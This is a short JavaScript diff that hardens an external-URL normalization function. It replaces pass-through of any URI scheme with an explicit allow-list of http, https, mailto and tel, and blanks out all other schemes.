+ // Only an explicit allow-list of schemes is safe to pass through as-is.
9019
+ const ALLOWED_SCHEMES = /^(https?|mailto|tel):/i;
9011
9020
  const normalizeExternalUrl = value => {
9012
9021
  const trimmed = (value || '').trim();
9013
9022
  if (!trimmed) return '';
9014
9023
  if (/^https?:\/\//i.test(trimmed)) return trimmed;
9015
- if (/^[a-z][a-z0-9+.-]*:/i.test(trimmed)) return trimmed;
9024
+ if (ALLOWED_SCHEMES.test(trimmed)) return trimmed;
9025
+ if (/^[a-z][a-z0-9+.-]*:/i.test(trimmed)) return '';
9016
9026
  return "https://".concat(trimmed.replace(/^\/+/, ''));
9017
9027
  };
9018
9028